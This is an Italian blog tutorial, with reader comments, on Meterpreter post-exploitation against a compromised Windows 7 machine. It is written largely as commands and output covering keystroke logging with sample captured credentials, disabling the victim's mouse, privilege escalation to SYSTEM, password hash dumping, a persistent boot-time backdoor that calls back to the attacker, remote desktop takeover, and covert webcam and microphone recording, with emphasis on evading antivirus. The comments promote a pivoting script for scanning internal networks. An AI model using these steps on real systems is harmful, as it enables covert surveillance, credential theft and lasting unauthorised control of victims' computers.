Nel scrivere questa guida, ho usato come vittima un Windows 7 Professional x64 e Avira AntiVir come antivirus, il tutto aggiornato fino ad oggi (Sunday, July 25 2010).
Ovviamente la guida è su Meterpreter, come creare una sessione è un argomento che ho trattato in questo articolo.
L’help di Meterpreter (richiamabile digitando appunto “help” oppure “?“) è ricco di spunti per conoscere le sue potenzialità, io tratterò solo di quegli insiemi di operazioni atte uno scopo preciso.
[*] From shell to Meterpreter
Eccoci qua, l’exploit (o quant’altro) ha funzionato:
C:\Users\Simone\Desktop>
Però la shell di Windows è limitata, una sessione Meterpreter?
Premete CTRL+z e rispondete y
Background session 1? [y/N] y
Adesso siamo tornati al menu della console di Metasploit Framework.
Digitiamo “sessions” per visualizzare le sessioni attive:
msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell 192.168.1.5:4444 -> 192.168.1.7:49500
E adesso facciamo l’upgrade a Meterpreter:
sessions -u 1
digitiamo nuovamente “sessions”:
msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell 192.168.1.5:4444 -> 192.168.1.7:49500 2 meterpreter SIMOWIN7\Simone @ SIMOWIN7 192.168.1.5:4444 -> 192.168.1.7:49505
E adesso, andiamo alla nuova sessione Meterpreter!
msf exploit(handler) > sessions -i 5 [*] Starting interaction with 5... meterpreter >
[*] Praeludium
Facciamo il punto della situazione prima di iniziare a lavorare e comportarci di conseguenza.
Informazioni sul sistema remoto:
sysinfo
Il nome utente proprietario del processo Meterpreter (sarà il caso di diventare amministratori?):
getuid
Da quanto tempo l’utente remoto non utilizza il sistema (sarà il caso di migrare il processo?):
idletime
Lo facciamo stare buono?
meterpreter > uictl Usage: uictl [enable/disable] [keyboard/mouse]
Esempio:
uictl disable mouse
shutdown
[*] Keylogger
meterpreter > keyscan_start
Starting the keystroke sniffer...
Poi continuate il vostro lavoro e quando volete vedere cosa ha catturato:
meterpreter > keyscan_dump
Dumping captured keystrokes...
gmail <Return> username <Tab> password redtube <Return> strip <Return>
Per fermarlo:
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
[*] Download/Upload
Per navigare tra i files del computer remoto Meterpreter mette a disposizione alcuni comandi che saranno familiari a chi ha un minimo di padronanza con la bash.
E’ anche possibile scaricare o trasferire dei files, utilizzando rispettivamente i comandi “download” e “upload“.
Dovete solo fare attenzione alle directory sulle quali state lavorando, quindi utilizzate i seguenti comandi per orientarvi:
pwd: stampa la directory dell’host remoto, sulla quale stiamo lavorando.
cd: cambia la directory dell’host remoto, sulla quale stiamo lavorando (sintassi bash-like).
lpwd: stampa la directory del nostro sistema, sulla quale stiamo lavorando.
lcd: cambia la directory del nostro sistema, sulla quale stiamo lavorando (sintassi bash-like).
Quindi, tornando ai nostri comandi:
download nomefilecartella
trasferisce un file/cartella dalla “pwd” alla “lpwd“.
upload nomefilecartella
trasferisce un file/cartella dalla “lpwd” alla “pwd“.
[*] Extensions and Script
Ovviamente potete espandere le funzionalità di Meterpreter usando le extensions che aggiungono un nuovo set di comandi o degli script per ottenere uno specifico obiettivo.
Le extensions si abilitano con il comando “use” (esempio “use espia”) e quelle disponibili di default con relativa versione per le architetture a 64 bit sono:
espia (espia.x64) = abilita il comando screengrab, che fa uno screenshot, lo trasferisce sul nostro pc e lo apre col browser.
incognito (incognito.x64) = comandi per pasticciare con gli utenti ed eseguire comandi come se foste uno di essi. Cliccate qui per maggiori informazioni, in inglese).
priv (priv.x64) = comandi:
- getsystem, per ottenere i privilegi di amministratore (vedi paragrafo successivo)
- hashdump, gli hash delle password degli utenti (bisogna essere amministratori)
- timestomp, modifica degli attribuiti MACE (multi-attribute combinatorial exchange) dei files (attribiti, orari e date)
railgun = consente l’accesso diretto alle API di Windows (qualsiasi esistente o proveniente da una DLL caricata sul sistema bersaglio) attraverso Meterpreter.
sniffer = un simpatico sniffer che permette il salvataggio dei pacchetti catturati su un file .pcap
stdapi.x64 = comandi di manipolazione del filesystem per le architetture a 64bit
[*] Become administrator
Come avrete capito, la nostra sessione Meterpreter corrisponde (ma dai?) ad un processo sul sistema remoto. Ovviamente a seconda del metodo col quale abbiamo avviato la sessione, il processo sarà di proprietà di un dato utente (getuid). Se questo utente non avesse privilegi sufficienti? Come possiamo ad esempio utilizzare il comando hasdump? Dobbiamo diventare amministratori di sistema! Usiamo allora getsystem:
meterpreter > getuid
Server username: SIMOWIN7\Simone
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
L’esito di questo comando dipende dal sistema operativo e dai privilegi dell’utente. Windows 7 si è dimostrato inattaccabile qualora non fossimo noi ad eseguire un applicativo creato ad hoc con privilegi amministrativi (allora l’UAC serve a qualcosa), mentre su Windows XP si riesce a combinare le peggio cose (un dato significativo visto che è ancora il sistema più diffuso al mondo!)
[*] Migrate process
Se abbiamo modo di pensare che il processo server di Meterpreter sul sistema remoto rischi di venire terminato, possiamo migrarlo su di un processo più sicuro! L’ideale su Windows sarebbe ottenere i permessi amministrativi e migrare sul processo “explorer.exe”…
Innanzitutto si guarda quali sono i processi in esecuzione e ci si annota il PID del processo verso il quale si vuole migrare:
ps
poi si migra al processo desiderato (PID è un numero naturale):
migrate PID
ad esempio “migrate 803”.
[*] Persistent Backdoor
Ho specificato persistent, perché ho visto molti video in cui si accontentavano di creare una backdoor temporanea con NetCat. Il nostro obiettivo è invece quello di installare una backdoor permanente in modo tale che Meterpreter che ci contatti a nostro piacimento, anche dopo un riavvio.
Lo script creato ad-hoc si chiama “persistence” e ha bisogna passargli alcuni argomenti, vediamo quali:
-A Automatically start a matching multi/handler to connect to the agent -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back
Ad esempio, se volessimo farci ricontattare quando il sistema si avvia e ogni 15 secondi dopo l’avvio (cercate di eseguire il comando da amministratori!):
run persistence -A -X -i 15
Questo script è favoloso, non viene rilevato dagli antivirus e ci fornisce gentilmente la procedura di disinstallazione una volta terminato il comando. Fate caso quando lo eseguite all’ultima riga di output:
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/SIMOWIN7_20100727.4925/clean_up__20100727.4925.rc
Che vi sta dicendo che per rimuover ogni traccia bisogna eseguire il comando:
run multi_console_command -rc /root/.msf3/logs/persistence/SIMOWIN7_20100727.4925/clean_up__20100727.4925.rc
[*] VNC and RDP
E per vedere in prima persona cosa sta accadendo sul computer? E magari intervenire? VNC (Virtual Network Computing).
Se utilizzate Ubuntu o Debian, installate prima il viewer (io ho dovuto riavviare, altrimenti non funzionava con lo script):
sudo apt-get install xtightvncviewer
E da Meterpreter lanciate lo script:
run vnc
Si aprirà in automatico una finestra con la sessione vnc, comodissimo!
Mentre per abilitare l’RDP (Remote Desktop Protocol):
run getgui -e
Ci sono altri parametri da passare allo script getgui, vi rimando al suo help “run getgui -h” per approfondimenti.
[*] Webcam&Microphone
<Update Friday, December 31 2010>
Registrare l’audio del microfono per x secondi:
record_mic x
Visualizzare le webcam installate:
webcam_list
Scattare una foto dalla webcam
(usare webcam_list per ottenere il numero x corrispondente):
webcam_snap x
Potete anche usare gli script di ZeroCold che hanno anche la possibilità di registrare un video dalla webcam:
Prelevate dal suo sito CamRecorder e CamSnap, sotto la sezione Meterpreter Scripts, dopodiché estraete poi il contenuto dei .tar
Attenzione che il file “VFWGrab.exe” è nominato male, c’è uno spazio prima del nome, va rinominato.
I comandi da eseguire all’interno delle rispettive cartelle sono (a seconda di dove avete installato Metasploit):
Per CamSnap:
mv VFWGrab.exe vfwgrab.ini /opt/metasploit3/msf3/data/ mv camsnap.rb /opt/metasploit3/msf3/scripts/meterpreter/
Per CamRecorder:
unrar e upload.rar mv upload.exe /opt/metasploit3/msf3/data/ mv camrecorder.rb /opt/metasploit3/msf3/scripts/meterpreter/
Adesso la prossima volta che avviate Metasploit Framework nelle sessioni Meterpreter saranno disponibili gli script.
Scatta una foto dalla webcam e ce la invia:
run camsnap
Registra un video dalla webcam per x secondi dove 1<=x<=60 e ce lo invia:
run camrecorder -t x
Pingback: Subme reverse? Metasploit! « six110@wordpress:~#
pdfmyurl e bump in pdf 😀
Copio il mini tutorail sul mio blog, di appunti 😀
Ottimo articolo, bravo, certe cose non me le ricordavo 😀
Pingback: [guide pdf metasploit]Ripassiamo Meterpreter :D | Clshack
Grazie! Ci ho perso un sacco di tempo a fare tutti i test e selezionare i comandi che non venissero rilevati dall’antivirus!
Nice work man!
( ClsHack: thanks for pdf 😀 )
E per il Download e Upload dei dati sul/dal remoto?
Complimenti per la guida
Alla Grande, keep up the good work m8 🙂
i admin im just letting you no i have rebuilt my site & moved the host to http://zerocold.co.uk & the download link you have in your blog needs updating
Thanks ZeroCold. But I don’t find Camsnap.rb in your website… and I belive that you updated the scripts, true?
Camsnap now added also nmap.rb allow remote port scanning to help with pivoting n using the remote host as a proxy
Ccongratulations for the great work Zerocold!
Aroute.rb realeased
Aroute.rb is a simple meterpreter script i have written to find the working route that the remote machine is using & will automaticly add the attackers machine to that route this will allow them to pipe nmap port scans through the internal network or the remote host & continue to exploit other machines
This would be a nice little script to add to your guide bro 🙂
http://zerocold.co.uk/?p=357